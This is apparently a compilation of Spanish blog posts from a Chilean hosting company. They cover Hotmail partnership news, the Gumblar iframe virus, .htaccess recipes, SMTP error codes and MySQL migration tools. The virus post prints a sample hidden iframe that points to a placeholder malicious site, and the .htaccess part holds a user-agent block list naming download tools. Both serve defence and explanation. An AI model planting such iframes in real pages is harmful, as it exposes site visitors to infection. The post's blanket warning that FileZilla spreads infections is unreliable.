En el día de hoy hemos recibido la noticia del Equipo de Hotmail, en el cual nos confirmaron como nuevos miembros de su programa “Junk Email Reporting Partner”.
Gracias a este programa y nuestra afiliación, todos nuestros servidores han sido limpiado de la lista negra de Hotmail y agregados a su lista segura.
Nos sentimos orgullos de este logro, ya que no cualquier empresa es aceptaba en el programa, lo cual nos indica que nuestra empresa ha tomado medidas aceptadas sobre el manejo de e-mails por parte de sus clientes así como en la seguridad de sus servidores.
Desde hoy en más, mantendremos un contacto directo con Hotmail, el cual nos notificará de cualquier inconveniente con cualquiera de nuestros clientes, para nuestra acción en el tema.
Por tal motivo, solicitamos a los clientes cooperación en el asunto, verificando sus listas de contacto, actualizándolas lo más seguido posible, para evitar inconvenientes.
Nos enorgullese este tipo de logros y que empresas como Hotmail y Google (el cual nos dió un millón de dólares en cupones a repartir entre los clientes) rectifiquen la importancia y crecimiento que ha tomando nuestra empresa en Latinoamerica.
Enorabuena PowerHost!

Virus Iframe el virus que se propaga usando webmasters
¿Virus Iframe? ¿Conocías este virus?, seguramente si eres una internauta promedio utilizando un hosting -como casi todos- nunca habías oído hablar de este virus, pero no te preocupes, te vamos a explicar de qué se trata; En si es un troyano/virus que se instala en nuestro computador y cada vez que nosotros nos conectamos al FTP de nuestra página automáticamente inserta un código en todas nuestras páginas, si, así como lees! como si no fuera suficiente con los virus que podemos llegar a tener en nuestra PC ahora también debemos cuidar nuestras páginas webs.
Los virus iframes se caracterizan por incluir código en las páginas web, este código es en la forma de una iframe invisible que re direcciona al usuario a una web maligna en donde le infecta, a diferencia de otros tipos de malware, este virus requiere de webmasters para propagarse, básicamente lo que hace el virus es esperar por conexiones FTP al servidor, una vez que el webmaster o dueño de un sitio web ha accedido a su sitio vía FTP el virus pasa al sitio web en donde modifica algunas páginas html e inserta un código similar a:
<iframe src=”http://sitio_malicionso.xxx” width=109 height=147 style=”visibility: hidden”/>
No importa cuántas veces borremos el código de la web, el virus volverá aparecer, la razón es sencilla:
El PC del webmaster o persona con acceso FTP está infectado y cada vez que se conecta FTP el virus pasa a las páginas web.
A menudo los usuarios de hosting piensan que el servidor donde está su página tiene el virus, pero no es así, el virus está en el propio PC de los usuarios y esto está comprobado por todas los fabricantes de antivirus y en internet podrás observar a través de los buscadores que este es un virus netamente de usuario no de servidor.
Consejos para eliminar este virus:
1- Limpiar el PC infectado (casi 90% de los usuarios dice por costumbre: NO…PERO TENGO ANTIVIRUS…IMPOSIBLE QUE MI PC ESTE INFECTADO…El afirmar esto es un error muy grave…ya que los antivirus en su mayoría no son capaces de detectar este virus , ya que es solo un código y no algo ejecutable, por lo tanto deja de pensar que tu PC es blindado, NO existe PC blindado!
2- Asegúrate de que dispones de un buen antivirus y el mismo se encuentra actualizado y además tengas instalado en tu PC anti-malwares. ( SOLO ANTIVIRUS NO FUNCIONA)
3- Usar la herramienta hijackthis para detectar la presencia del virus local.
4- Ingresa a tu Cpanel, cambia las contraseñas.
5- Elimina el código malicioso en las páginas web
6- Si utilizas el FTP FILEZILLA, elimínalo inmediatamente de tu PC, el filezilla es fuente de infecciones. Utiliza otro software ftp pero NO filezilla.
ATENCION:
Este código malicioso también se inyecta en los CMS que no están actualizados!
Joomla es fuente de infecciones graves… POR LO TANTO MANTEN TU CMS SIEMPRE ACTUALIZADO y asegurate siempre de cambiar las contraseñas de administrador de JOOMLA.
Nombre del virus : GUMBLAR
Fuentes: http://en.wikipedia.org/wiki/Gumblar
| powerhost hosting multidominios powerhost powerhost.cl |
| Rie.cl |
No se desespere!
Esto NO indica que los servidores están caídos.
Leer con atención :
Todos los servidores poseen un sistema de seguridad. Un Firewall , el cual esta programado para para bloquear una ip de un usuario siempre y cuando :
Como puedo probar que el servidor no esta caído ¿
-Simple: Pregunte a personas desde otras conexiones a internet si pueden visualizar su sitio.
Si esta persona puede, es señal que su ip este bloqueada por el Firewall de servidor.
Que puedo hacer en estos casos ¿
-Comunicarse con nuestro chat online , o via mail , o ticket de soporte informando que no puede visualizar su sitio y el atendiente de turno desbloqueara su ip para que vuelva a ingresar sin problemas.
| Hosting PowerHost webhosting y dominios |
| Rie.cl |
| Powerhost hosting multidominios PowerHost hosting powerhost opiniones |
| Buen-dato.cl |

WS_FTP es un muy buen cliente de FTP, capaz de realizar todo tipo de transferencias FTP, con un entorno muy intuitivo para facilitar su uso.
Dispone de integración total con el Explorador de Windows, previsualización de imágenes sin salir del programa, soporte de transmisión entre dos servidores FTP, reenvío automático de ficheros en caso de desconexión, opción de mirroring (transmite sólo los ficheros nuevos, no sobreescribe los que ya estén y tengan la misma fecha), soporte para skins.. etc.
| hosting powerhost web hosting chile |
| Rie.cl |
| powerhost hosting multidominios powerhost powerhost.cl |
| Rie.cl |
Para aquellos que pelean contra WP y el formato de links. Y también para quien lo necesite una pequeña recopilación de consejos para poder crear y modificar el archivo misterioso que todo lo puede…. htaccess
.htaccess (Acceso de Hiper-Texto) es el nombre por defecto del archivo de configuración de directorios de Apache. Provee de la habilidad para personalizar la configuración de las directivas definidas en el archivo de configuración principal. Las directivas de configuración necesitan estar en el contexto de .htaccess y el usuario necesita los permisos apropiados.
Podrías querer deshabilitar totalmente el acceso a una carpeta (por ejemplo, una carpeta con librerías de programación que se incluyen en los archivos principales. En este caso sólo los archivos principales accederána ellos mediante el sistema de archivos, pero no se podrán acceder via web). Bueno, simplemente crea un archivo .htaccess en esa carpeta que contenga:
#deny all access
deny from all
Si se quiere permitir el acceso desde una IP específica
#deny all access
deny from all
allow from 10.0.0.1
o para un rango específico de IPs (forzado mediante la máscara de red)
allow from 192.168.0.0/24
también se puede bloquear el acceso a un archivo específico
<Files privado.html>
Order allow,deny
Deny from all
Si se quiere hacer las carpetas navegables, entonces necesitamos agregar esta línea al archivo .htaccess
Options +Indexes +MultiViews +FollowSymlinks
Y esta si se tiene el módulo apropiado en el servidor web
IndexOptions FancyIndexing
También se podría querer prevenir el listado de carpetas
IndexIgnore *
Se puede habilitar la compresión de datos inherente de PHP para ahorrar ancho de banda
php_value zlib.output_compression 16386
Para deshabilitar el acceso a un archivo en particula se puede utilizar una expresión regular y la directiva Files para denegar acceso a cualquier archivo que comience con .ht
Se puede modificar esto para restringir un archivo en particular (como archivos de configuración, robots.txt, archivos de logs o lo que se desee).
Order allow,deny
Deny from all
Satisfy All
Si se quisiera redireccionar los visitantes cada vez que se encuentran con una página de error HTTP 404, utiliza éste código:
ErrorDocument 404 /errores/noencontrado.html
Esto redirije el usuario hacia /errores/noencontrado.html cada vez que sucede un error 404. Obviamente, se puede redefinir para que capture otros errores http (403, 5000, etc). Sigue leyendo para ver lo que encontré
Consejo: Internet Explorer tiene una “funcionalidad” poco documentada que previene la utilización de cualquier página de error 404 personalizada que sea menor a 512 bytes de largo. Los visitantes serán enviados, en cambio, a la página propia de IE, que es genérica y sugiere que utilizen una búsqueda en MSN para buscar la información en internet. ¡Esa es una forma de perder visitantes! Asegúrate que tu página personalizada esté por sobre este límite – algo así como 10 líneas completas de texto y HTML deberían ser suficientes.
Si se desea bloquera algunas partes del sitio de cualquier referer malicioso:
RewriteEngine on
RewriteCond %{HTTP_REFERER} ejemplo\.com [NC,OR]
RewriteCond %{HTTP_REFERER} otroejemplo\.com
RewriteRule .* - [F]
Utilizando el motor rewrite [de reescritura] se denegará el acceso al sitio a cualquier visitante que venga de chicomalo.com u otrositiodesagradable.com. Para evitar el robo de ancho de banda, se puede bloquear el acceso a un archivo en particular (o extensión de archivos).
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://([-a-z0-9]+\.)?example\.com[NC]
RewriteRule .*\.(zip|mp3|avi|wmv|mpg|mpeg)$ http://www.example.com/images/nohotlink.gif [R,NC,L]
Esto dice: “si el visitante no proviene de misitio.net, entonce redirije todos los pedidos de archivos (zip,mp3,avi,wmv,mpg,mpeg) a una imagen que dice “No permitimos hotlinking” De esa forma, puedes redirigir a una página, o lo que desees, o p uedes modificar la lista de extensíones de archivo para incluir/quitar otros archivos. Cuidado: cuando se decide bloquera el hotlinking de imágenes recuerda que puedes estar bloqueando todo tráfico fuera del alcance de tu dominio. Por ejemplo, si se posee un archivo de sindicación tomado por bloglines necesitarás modificar la regla para permitirles a los lectores obtener las imágenes – o el RSS se verá mal.
En algunos casos se querrá bloquear algunos robots maliciosos, como spiders o descargadores. Para ello utilizaremos mod_rewrite nuevamente. Normalmente los robots maliciosos ignoran el archivo de directivas robots.txt por lo que se podría querer forzar un error 403 cada vez que quieran recorrer o descargar tu sitio:
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^BlackWidow [OR]
RewriteCond %{HTTP_USER_AGENT} ^Bot\ mailto:craftbot@yahoo.com [OR]
RewriteCond %{HTTP_USER_AGENT} ^ChinaClaw [OR]
RewriteCond %{HTTP_USER_AGENT} ^Custo [OR]
RewriteCond %{HTTP_USER_AGENT} ^DISCo [OR]
RewriteCond %{HTTP_USER_AGENT} ^Download\ Demon [OR]
RewriteCond %{HTTP_USER_AGENT} ^eCatch [OR]
RewriteCond %{HTTP_USER_AGENT} ^EirGrabber [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailSiphon [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailWolf [OR]
RewriteCond %{HTTP_USER_AGENT} ^Express\ WebPictures [OR]
RewriteCond %{HTTP_USER_AGENT} ^ExtractorPro [OR]
RewriteCond %{HTTP_USER_AGENT} ^EyeNetIE [OR]
RewriteCond %{HTTP_USER_AGENT} ^FlashGet [OR]
RewriteCond %{HTTP_USER_AGENT} ^GetRight [OR]
RewriteCond %{HTTP_USER_AGENT} ^GetWeb! [OR]
RewriteCond %{HTTP_USER_AGENT} ^Go!Zilla [OR]
RewriteCond %{HTTP_USER_AGENT} ^Go-Ahead-Got-It [OR]
RewriteCond %{HTTP_USER_AGENT} ^GrabNet [OR]
RewriteCond %{HTTP_USER_AGENT} ^Grafula [OR]
RewriteCond %{HTTP_USER_AGENT} ^HMView [OR]
RewriteCond %{HTTP_USER_AGENT} HTTrack [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Stripper [OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Sucker [OR]
RewriteCond %{HTTP_USER_AGENT} Indy\ Library [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^InterGET [OR]
RewriteCond %{HTTP_USER_AGENT} ^Internet\ Ninja [OR]
RewriteCond %{HTTP_USER_AGENT} ^JetCar [OR]
RewriteCond %{HTTP_USER_AGENT} ^JOC\ Web\ Spider [OR]
RewriteCond %{HTTP_USER_AGENT} ^larbin [OR]
RewriteCond %{HTTP_USER_AGENT} ^LeechFTP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mass\ Downloader [OR]
RewriteCond %{HTTP_USER_AGENT} ^MIDown\ tool [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mister\ PiX [OR]
RewriteCond %{HTTP_USER_AGENT} ^Navroad [OR]
RewriteCond %{HTTP_USER_AGENT} ^NearSite [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetAnts [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ^Net\ Vampire [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetZIP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Octopus [OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Explorer [OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Navigator [OR]
RewriteCond %{HTTP_USER_AGENT} ^PageGrabber [OR]
RewriteCond %{HTTP_USER_AGENT} ^Papa\ Foto [OR]
RewriteCond %{HTTP_USER_AGENT} ^pavuk [OR]
RewriteCond %{HTTP_USER_AGENT} ^pcBrowser [OR]
RewriteCond %{HTTP_USER_AGENT} ^RealDownload [OR]
RewriteCond %{HTTP_USER_AGENT} ^ReGet [OR]
RewriteCond %{HTTP_USER_AGENT} ^SiteSnagger [OR]
RewriteCond %{HTTP_USER_AGENT} ^SmartDownload [OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperBot [OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperHTTP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Surfbot [OR]
RewriteCond %{HTTP_USER_AGENT} ^tAkeOut [OR]
RewriteCond %{HTTP_USER_AGENT} ^Teleport\ Pro [OR]
RewriteCond %{HTTP_USER_AGENT} ^VoidEYE [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Image\ Collector [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Sucker [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebAuto [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebCopier [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebFetch [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebGo\ IS [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebLeacher [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebReaper [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebSauger [OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ eXtractor [OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ Quester [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebStripper [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebWhacker [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebZIP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Wget [OR]
RewriteCond %{HTTP_USER_AGENT} ^Widow [OR]
RewriteCond %{HTTP_USER_AGENT} ^WWWOFFLE [OR]
RewriteCond %{HTTP_USER_AGENT} ^Xaldon\ WebSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ^Zeus
RewriteRule .* - [F]
Para hacer esto, basta con una simple regla de re-escritura:
Options +FollowSymlinks
RewriteEngine on
RewriteCond %{http_host} ^www\.example\.com[nc]
RewriteRule ^(.*)$ http://example.com/$1 [r=301,nc]
¿Por qué querría quitar ‘www’? En ese link los fundamentos
Se puede aumentar la seguridad cambiando la extensión de los scripts para que los visitantes desconozcan qué lenguaje estás utilizando:
# Make PHP code look like unknown types
AddType application/x-httpd-php .cool
De esta forma, los archivos .cool serán tratados como si fuesen archivos PHP. Se deben renombrar los archivos que se quiera con esta nueva extensión.
Esto es útil cuando se quiere agregar una contraseña a ciertas páginas y/o archivos
AuthUserFile /home/pathto/.htpasswd
AuthType Basic
AuthName "Mi Carpeta Secreta"Utiliza éstas instrucciones para activar la interpretación SSI
AddType text/html .html
AddType text/html .shtml
AddHandler server-parsed .html
AddHandler server-parsed .shtml
Se puede utilizar esta instrucción para cambiar la página por defecto (el orden es importante)
DirectoryIndex inicio.html index.htm index.html index.php
Pasando el juego de caracteres se evita el mostrar un error 500
AddDefaultCharset utf-8
Esta directiva puede ser útil para auto-corregir errores de ortografía simple en la URL
CheckSpelling On
Si no se está preocupado por problemas de performance, se peude agregar un cálculo de llave MD5 para agregar un MIC [Control de Integridad de Mensaje en inglés] en cada pedido. Esto es útil para controlar la integridad del mensaje.
ContentDigest On
| powerhost hosting powerhost.cl |
| Rie.cl |
Errores SMTP al enviar un email
Algunas veces los programas de correo electrónico como el Outlook devuelven mensajes de error al intentar enviar un mail. A continuación se listan los código más frecuentes
SMTP 421
Service not available, closing transmission channel. Esta respuesta la envía el Servidor SMTP a un Servidor SMTP remoto o a un Cliente SMTP para indicarle que el Servidor SMTP no está disponible en ese momento.
SMTP 450
Requested mail action not taken: mailbox unavailable. Esta respuesta la envía el servidor para indicar que un mensaje no pudo entregarse al receptor local debido a que su casilla de correo está ocupada, posiblemente recibiendo otro correo en ese instante.
SMTP 451
Requested action aborted: local error in processing. Esta respuesta se obtiene cuando el Servidor SMTP incurre en un error al procesar una transacción de SMTP.
SMTP 452
Requested action not taken: insufficient system storage. No hay suficiente espacio en la cuenta para almacenar el mensaje.
SMTP 500
Syntax error, command unrecognized. Indica que el servidor no pudo interpretar un comando que se le envió al Servidor o Cliente remoto de SMTP.
SMTP 501
Syntax error in parameters or arguments. Indica que el servidor identificó un intento de envío de un comando SMTP pero los parámetros asociados al mismo contenían algún error de sintaxis.
SMTP 502.
Command not implemented. Indica que una característica o comando solicitado al servidor no pudo entregarse porque está deshabilitada o no está implementada en el conector MailEnable s del SMTP.
SMTP 504
Command parameter not implemented. Indica que el comando enviado al conector MailEnable s de SMTP contenía otro comando que no se pudo procesar en la misma transacción.
SMTP 550
Requested action not taken: mailbox unavailable or is not local. Indica que la dirección del destinatario no se encuentra alojada en ese servidor y que las opciones de relay previenen que el mensaje sea reenviado al destinatario correcto.
SMTP 551
User not local; please try. Indica que el receptor especificado en el comando RCPT no está albergado localmente en el servidor y que las opciones de relay previenen que el mensaje sea reenviado al destinatario.
SMTP 552
Requested mail action aborted: exceeded storage allocation. Esta respuesta se obtiene del servidor ante un comando RCPT o DATA cuando el usuario ha excedido su capacidad de almacenaje de correo.
SMTP 553
Requested action not taken: mailbox name not allowed. Indica que el formato de una dirección SMTP especificada en el comando RCPT es incorrecta o no está bien formateada.
SMTP 554
Transaction failed. Es una respuesta genérica del servidor cuando falla una transacción SMTP. Normalmente ocurre esto cuando se reciben demasiados errores de procesamiento.
SMTP 214
Help message. Información sobre cómo utilizar el receptor o el significado de alg{un comando no standard; es una respuesta útil solo para el usuario humano.
| powerhost hosting chile powerhost |
| Rie.cl |
Si al intentar enviar o recibir un correo electrónico, puede que aparezca un mensaje de error similar a uno de los siguientes:
También puede recibir un mensaje de error que incluya uno o varios de los siguientes códigos de error:
Estos mensajes de error se pueden producir si Microsoft Outlook o Microsoft Outlook Express no pueden establecer una conexión con el servidor de correo y suelen deberse a una de las causas siguientes:
Para solucionar este problema verifique los siguientes puntos:
- Compruebe la configuración del software de servidor de seguridad. Configure el software de servidor de seguridad para conceder acceso a Internet a los archivos siguientes:
- Utilice el webmail para eliminar cualquier mensaje sospechoso.
| hosting ftp online powerhost powerhost hosting |
| Rie.cl |

El último caso en el que nos podemos encontrar a la hora de subir una base de datos a nuestro proveedor de alojamiento es que la base de datos la tengamos creada en local, pero en un sistema gestor distinto del que vamos a utilizar en remoto. En remoto suponemos siempre que vamos a utilizar la base de datos MySQL. En local podríamos disponer de una base de datos Access, SQL Server o de otro sistema de base de datos.
El proceso de la migración puede ser bastante complejo y, como hay tantas bases de datos distintas, difícil de dar una receta que funcione en todos los casos. Además, aparte de la dificultad de transferir la información entre los dos sistemas gestores de base de datos, también nos influirá mucho en la complejidad del problema el tipo de los datos de las tablas que estamos utilizando. Por ejemplo, las fechas, los campos numéricos con decimales o los boleanos pueden dar problemas al pasar de un sistema a otro porque pueden almacenarse de maneras distintas o, en el caso de los números, con una precisión distinta.
Recomendaciones para migrar de Access a MySQL
Si nuestra base de datos anterior estaba construida en Access lo tenemos bastante fácil, gracias a que MySQL dispone de un driver ODBC para sistemas Windows, que nos permite conectar Access con el propio MySQL y pasar información fácilmente.
Este tema está relatado en el artículo Exportar datos de MySQL a Access, aunque hay que indicar que si deseamos hacer una exportación desde Access en local a MySQL en remoto puede haber problemas porque no todos los alojadores permiten las conexiones en remoto con la base de datos. Si no tenemos disponible una conexión en remoto con nuestro servidor de bases de datos vamos a tener que cambiar la estrategia un poco.
La idea en este último caso es instalar MySQL en local y realizar la migración desde Access en local a MySQL en local y luego podríamos hacer un backup de la base de datos local y subirla a remoto, tal y como se ha relatado antes.
Recomendaciones para migrar desde SQL Server a MySQL
La verdad es que no he tenido este caso nunca, pero hay que decir que Access también nos puede ayudar en este caso. Access permite seleccionar una base de datos SQL Server y trabajar desde la propia interfaz de Access. La idea es que Access también permite trabajar con MySQL y posiblemente haciendo un puente entre estos dos sistemas gestores podemos exportar datos de SQL Server a MySQL.
Lo que es seguro que utilizando el propio Access de puente podríamos realizar el trabajo. Primero exportando de SQL Server a Acess y luego desde Access a MySQL.
Otras bases de datos u otras técnicas
Si la base de datos origen dispone de un driver ODBC no habrá (en teoría) problema para conectarla con Access, de manera similar a como se conecta con MySQL. Entonces podríamos utilizar Access para exportar los datos, porque desde allí se podrían acceder a los dos sistemas gestores de bases de datos.
Si no tenemos Access, o la base de datos original no tiene driver ODBC, o bien no nos funciona correctamente el proceso y no sabemos cómo arreglarlo, otra posibilidad es exportar los datos a ficheros de texto, separados por comas o algo parecido. Muchas bases de datos tienen herramientas para exportar los datos de las tablas a ficheros de texto, los cuales se pueden luego introducir en nuestro sistema gestor destino (MySQL) con la ayuda de alguna herramienta como PhpMyAdmin.
Para ello, en la página de propiedades de la tabla encontraremos una opción para hacer el backup de la tabla y para introducir ficheros de texto dentro de una tabla (Insert textfiles into table en inglés).
Accediendo a ese enlace podremos ver un formulario donde introducir las características del fichero de texto, como el carácter utilizado como separador de campos, o el terminador de líneas, etc, junto con el propio archivo con los datos, y PhpMyAdmin se encargará de todo el trabajo de incluir esos datos en la tabla.

Como se habrá supuesto, es necesario tener creada la tabla en remoto para que podamos introducirle los datos del fichero de texto.
Cambios de un formato de datos a otro
Toda la migración tiene que tener en cuenta muy especialmente, como ya se señaló, las maneras que tenga cada base de datos de guardar la información, es decir, del formato de sus tipos de datos. Tenemos que contar siempre con la posible necesidad de transformar algunos datos como pueden ser los campos boleanos, fechas, campos memo (texto con longitud indeterminada), etc, que pueden almacenarse de maneras distintas en cada uno de los sistemas gestores, origen y destino.
En algunos casos posiblemente tengamos que realizar algún script que realice los cambios necesarios en los datos. Por ejemplo puede ser para localizar los valores boleanos guardados como true / false a valores enteros 0 / 1, que es como se guarda en MySQL. También las fechas pueden sufrir cambios de formato, mientras que en Access aparecen en castellano (dd/mm/aaaa) en MySQL aparecen en el formato aaaa-mm-dd. PHP puede ayudarnos en la tarea de hacer este script, también Visual Basic Script para Access puede hacer estas tareas complejas y el propio lenguaje SQL, a base de sentencias dirigidas contra la base de datos, puede servir para algunas acciones sencillas.
MySQL Administrador es el nuevo software de administración de servidores de Bases de Datos de MySQL que ha creado MySQL AB. Se trata de un software multiplataforma, que por el momento se encuentra disponible para Linux y Microsoft Windows y que cuenta con un entorno gráfico de usuario muy intuitivo.
Este nuevo producto suple las carencias que tiene MySQL Control Center en el área de Administración de servidores. MySQL Control Center en estos momentos está deprecado, ha quedado obsoleto y no sigue desarrollándose. Se ha sustituido por el conjunto de programas MySQL Administrator y MySQL Query Browser.
MySQL Administrador es una herramienta que permite realizar tareas administrativas sobre servidores de MySQL incluyendo:
Instalación y configuración:
La descarga del programa se hace desde la página web de MySQL, en http://dev.mysql.com/downloads/administrator, También en la página de MySQL existen una serie de FAQs que ayudan en la instalación en caso de dudas, aunque la misma es bastante simple, en http://www.mysql.com/products/administrator/.

Una vez instalado es necesario configurar una primera conexión contra un servidor de MySQL para poder acceder a la administración del mismo.
En la pantalla de configuración se deberán especificar los datos del servidor, nombre de usuario, contraseña y puerto, de la base de datos a la cual se desea conectar.
Una vez introducidos de forma correcta, aparece la pantalla principal del programa:

Desde la pantalla principal se puede ver la información relativa al servidor de base datos al que se ha conectado, así como las características de la máquina en la que se está ejecutando el programa.
En la barra de menú a través de Tools, se tiene acceso a una consola de sistema (Windows o Linux dependiendo del caso), un cliente de conexión a MySQL bajo línea de comandos y a MySQL Query Browser. Desde este mismo menú, se accede a las opciones de configuración del administrador y de las conexiones que hay configuradas:

En la sección de conexiones se encuentran almacenadas todas las conexiones a servidores que hay configuradas.
Algunas utilidades accesibles desde la ventana principal del programa son:
Service control: Inicio y detención de servidores (sólo accesible si se ha conectado con un servidor MySQL en la máquina local).
Startup variables: Configuración del servidor y las variables de inicio (sólo accesible si se ha conectado con un servidor MySQL en la máquina local).
User Administration: Para la gestión de usuarios y permisos.
Server conections: Visualiza y gestiona las conexiones abiertas con el servidor de bases de datos.
Health: Información sobre la carga del servidor
Server Logs: El historial de logs del servidor.
Replication Status: Con información de los sistemas replicados.
Backup: Para hacer una copia de seguridad de las bases de datos.
Restore: Para restaurar las copias de seguridad.
Catalogs: Para mostrar las bases de datos, visualizar, crear y editar las tablas.
Conclusión
A la base de datos MySQL le faltaba una herramienta como MySQL Administrator. No cabe duda que se trata de un programa extremadamente útil e imprescindible para administrar visualmente servidores MySQL.
Muchas de las opciones de configuración de la base de datos son muy sencillas de entender y de utilizar, por lo menos todas las opciones más básicas. En conjunto con MySQL Query Browse, nos permite gestionar cualquier aspecto de una base de datos MySQL.
| Hosting chile maxhost y powerhost powerhost |
| Rie.cl |
Si eres diseñador de themes WordPress seguro que te vendrá de perlas esta lista de comprobación creada por WP Toy, con todo lo que tiene que tener tu theme antes de publicarlo. Es un documento en PDF que incluye todos aquellos elementos y comprobaciones que debes realizar antes de lanzarlo al público, como …
Una herramienta imprescindible en tu arsenal de diseñador WordPress que puedes descargar en el sitio original, o si lo prefieres la traducción que he realizado haciendo clic en la siguiente imagen …
Nota: si quieres puedes descargar la versión en hoja de cálculo en este enlace, y así modificarla a tu gusto. También, por supuesto, tienes la lista mas completa existente en el Codex.
| webhosting powerhost hosting-chile,com |
| Rie.cl |